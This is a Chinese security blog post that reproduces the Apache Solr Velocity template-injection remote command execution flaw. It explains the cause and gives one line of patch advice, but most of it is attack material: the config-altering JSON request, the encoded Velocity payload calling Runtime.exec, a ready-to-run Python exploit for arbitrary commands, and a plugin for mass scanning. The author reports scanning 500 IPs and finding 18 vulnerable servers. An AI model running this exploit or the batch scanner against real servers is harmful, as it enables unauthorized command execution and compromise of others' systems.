本文作者:Whitesun(信安之路 web 安全小组成员)
声明:本文仅供技术研究,测试请获得许可之后进行
19 年 10 月 31 日,安全研究员 S00pY 在 GitHub 发布了 ApacheSolr Velocity 模版注入远程命令执行的 POC,经过其他安全团队和人员的验证和复现,此漏洞已经能够被批量利用。
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/
该漏洞的产生原因:Apache Solr 默认集成 VelocityResponseWriter 插件,在该插件的初始化参数中,params.resource.loader.enabled
这个选项是用来控制是否允许参数资源加载器在 Solr 请求参数中指定模版,默认设置是 false。
当params.resource.loader.enabled
设置为 true,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个恶意的 POST 请求,将 params.resource.loader.enabled
的值修改为 true,在服务器上进行命令执行,从而获取服务器的权限。如果在配上 solr 未授权访问漏洞,存在于外网的大部分 solr 服务器将不堪一击!
关于 params.resource.loader.enabled
的介绍:
https://www.w3cschool.cn/solr_doc/solr_doc-umxd2h9z.html
影响范围:
solr 4.x~solr 8.2 版本
本地复现
通过清华大学镜像站下载个 7.7 版本的 solr
https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/7.7.2/
安装到 kail,因为在 kail 上可以不用再去配置 Java 环境。(使用 docker 也可以)
我直接解压到桌面然后启动起来,启动记得加上 -force
,不然会提示你存在安全风险。
cd solr-7.7.2/
./bin/solr start -force
可以看到 solr 服务已经启动起来,默认端口为 8983。接下来我们使用浏览器访问 solr,此时没做任何配置是存在 solr 未授权访问的,所以只在浏览器新建一个 core。(可能会遇到无法添加 core 问题,将 /solr-7.7.0/server/solr/configsets/_default
下的 conf 文件夹复制到 new_core 文件夹下即可。)
我这里已经添加成功了,现在就可以利用安全研究员 S00pY 所提供的的 POC 来验证即可。
这个 POC 的思路是向某个 core 的 config 文件 POST 发送一个 json 格式的数据包,将 params.resource.loader.enabled
设置为 ture(默认为 false)
当返回包为 200(某些低版本为 500)时,就说明我们修改的配置已经生效可以进行进一步测试。
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir":"",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
此时,在查看 new_core 的 config 的 params.resource.loader.enable
d 的值,已经为 ture
此时,利用给出的 poc 直接访问即可。
http://192.168.153.131:8983/solr/new_core/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
相关分析:
在现今的软件开发过程中,软件开发人员将更多的精力投入在了重复的相似劳动中。特别是在如今特别流行的 MVC 架构模式中,软件各个层次的功能更加独立,同时代码的相似度也更加高。所以我们需要寻找一种来减少软件开发人员重复劳动的方法,让程序员将更多的精力放在业务逻辑以及其他更加具有创造力的工作上。Velocity 这个模板引擎就可以在一定程度上解决这个问题。
Velocity 是一个基于 Java 的模板引擎框架,提供的模板语言可以使用在 Java 中定义的对象和变量上。Velocity 是 Apache 基金会的项目,开发的目标是分离 MVC 模式中的持久化层和业务层。但是在实际应用过程中,Velocity 不仅仅被用在了 MVC 的架构中,还可以被用在以下一些场景中。
1、Web 应用:开发者在不使用 JSP 的情况下,可以用 Velocity 让 HTML 具有动态内容的特性。
2、源代码生成:Velocity 可以被用来生成 Java 代码、SQL 或者 PostScript。有很多开源和商业开发的软件是使用 Velocity 来开发的。
3、自动 Email:很多软件的用户注册、密码提醒或者报表都是使用 Velocity 来自动生成的。使用 Velocity 可以在文本文件里面生成邮件内容,而不是在 Java 代码中拼接字符串。
4、转换 xml:Velocity 提供一个叫 Anakia 的 ant 任务,可以读取 XML 文件并让它能够被 Velocity 模板读取。一个比较普遍的应用是将 xdoc 文档转换成带样式的 HTML 文件。
它允许任何人仅仅使用简单的模板语言(template language)来引用由 java 代码定义的对象。Velocity 可以获取在 java 语言中定义的对象,从而实现界面和 java 代码的真正分离,这意味着可以使用 Velocity 替代 jsp 的开发模式了
当 Velocity 应用于 Web 开发时,界面设计人员可以和 java 程序开发人员同步开发一个遵循 MVC 架构的 web 站点,也就是说,页面设计人员可以只关注页面的显示效果,而由 java 程序开发人员关注业务逻辑编码。Velocity 将 java 代码从 web 页面中分离出来,这样为 web 站点的长期维护提供了便利,同时也为我们在 JSP 和 PHP 之外又提供了一种可选的方案。
针对这个漏洞,大概来说的话,因为 Velocity 模板语言可以使用在 Java 中定义的对象和变量上。这个 payload 的核心就是构造了一个自定义的 Velocity 模板,来通过 Java 的 Runtime.getRuntime().exec()
来执行命令
p = "/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName('java.lang.Character'))+%23set($str=$x.class.forName('java.lang.String'))+%23set($ex=$rt.getRuntime().exec('id'))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
对这个一些payload的参数进行解释。
1、参数 wt
- 输出结果格式,通常为 json/xml 等格式,如果设置值为 velocity,则会通过 velocity 引擎解析(重点)
2、参数 v.template
- 模版名称,payload 设置模版名称为 custom
3、参数 v.template.custom
- 自定义模板 custom 的具体内容。也就是我们通过这个自定义的模板来执行命令。
现在相信大家对于这个 payload 就有比较清晰的理解了,无奈本人对于 Java 也只处于了解一点的程度。更加深层次的分析参考 seebug 和先知社区。
https://paper.seebug.org/1107/
https://xz.aliyun.com/t/6700
修补方法
升级到最新的 solr8.4 版本(强烈建议甲方的小伙伴检测公司是否存在相关漏洞,危害非常大,请自检)
POC 编写
知道这个漏洞的实现原理后 POC 的编写就很简单了,利用 python2.7 编写。用到了 sys、request、json 模块。这里最后把输入的命令进行下 URL 编码。也就是 POC 中的 CMD。
# -*- coding: utf-8 -*-
import requests
import json
import sys
from urllib import quote_plus
def main(url, cmd):
# def main(url):
core_selector_url = url + '/solr/admin/cores?_=1565526689592&indexInfo=false&wt=json'
r = requests.get(url=core_selector_url)
json_strs = json.loads(r.text)
if r.status_code == 200 and "responseHeader" in r.text:
list = []
for core_selector in json_strs['status']:
list.append(json_strs['status']['%s' % core_selector]['name'])
jas502n_Core_Name = list[0]
newurl = url + '/solr/' + jas502n_Core_Name + '/config'
modifyConfig_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3875.120 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close",
"Content-Type": "application/json"}
modifyConfig_json = {
"update-queryresponsewriter": {"startup": "lazy", "name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "", "solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"}}
#data=json.dumps(payload)
res = requests.post(newurl, headers=modifyConfig_headers,json=modifyConfig_json)
cmd = quote_plus(cmd)
if res.status_code == 200 or 500:
try:
p = "/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName('java.lang.Character'))+%23set($str=$x.class.forName('java.lang.String'))+%23set($ex=$rt.getRuntime().exec('{}'))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end".format(
cmd)
target = url + '/solr/' + jas502n_Core_Name + p
print u'命令执行url:'
print target
result = requests.get(url=target)
if result.status_code == 200 and len(result.text) < 65:
print u'命令执行结果:'
print result.content
except Exception as e:
'failed'
if __name__ == '__main__':
main(sys.argv[1], sys.argv[2])
POC 使用时直接加上 url 就行,但是 url 最后不要有斜杠。
批量验证
采用 Xyntax 大佬的渗透测试插件化并发框架 POC-T
https://github.com/Xyntax/POC-T
这个框架实现漏洞验证非常简便而对于 POC 的编写也很友好。
将我们的代码稍微改进一下。
# -*- coding: utf-8 -*-
import requests
import re
import sys
import json
def poc(url):
if '://' not in url:
url = 'http://' + url
try:
core_selector_url = url + '/solr/admin/cores?_=1565526689592&indexInfo=false&wt=json'
r = requests.get(url=core_selector_url)
json_strs = json.loads(r.text)
if r.status_code == 200 and "responseHeader" in r.text:
list = []
for core_selector in json_strs['status']:
list.append(json_strs['status']['%s' % core_selector]['name'])
jas502n_Core_Name = list[0]
debug_model_url = url + '/solr/' + jas502n_Core_Name + '/config'
modifyConfig_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3875.120 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close",
"Content-Type": "application/json"}
modifyConfig_json = {
"update-queryresponsewriter": {"startup": "lazy", "name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "", "solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"}}
r3 = requests.post(debug_model_url, headers=modifyConfig_headers,json=modifyConfig_json)
if r3.status_code == 200 or 500:
p = "/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
target = url + '/solr/' + jas502n_Core_Name + p
result = requests.get(url=target)
if result.status_code == 200 and len(result.text) < 65:
return url
except Exception :
pass
然后将收集到的 url 进行批量验证
python2 POC-T.py -eT -t 50 -s solr_new_poc.py -iF C:UsersAdministratorDesktoptxtsolrtest.txt
500 个 ip 找到了 18 个存在漏洞的 solr。
当然,因为 POC 我内置命令是 id,所以只会检测出架设在 Linux 上漏洞。如果架设在 Windows 上,可以把命令改成 dir 之类的 Windows 命令。或者直接为 whoami 就两种类型都能检测到,就是可能有时候会误报。
更对关于 POC-T 的使用请移步 GitHub(虽然作者很久没更新了哈哈哈,但是还是很好用的)
参考
https://www.freebuf.com/column/218801.html
https://cloud.tencent.com/developer/article/1532753
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/
https://github.com/theLSA/solr-rce
https://github.com/Xyntax/POC-T
本文始发于微信公众号(信安之路):Apache Solr Velocity模版注入远程命令执行漏洞复现以及 POC 编写
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论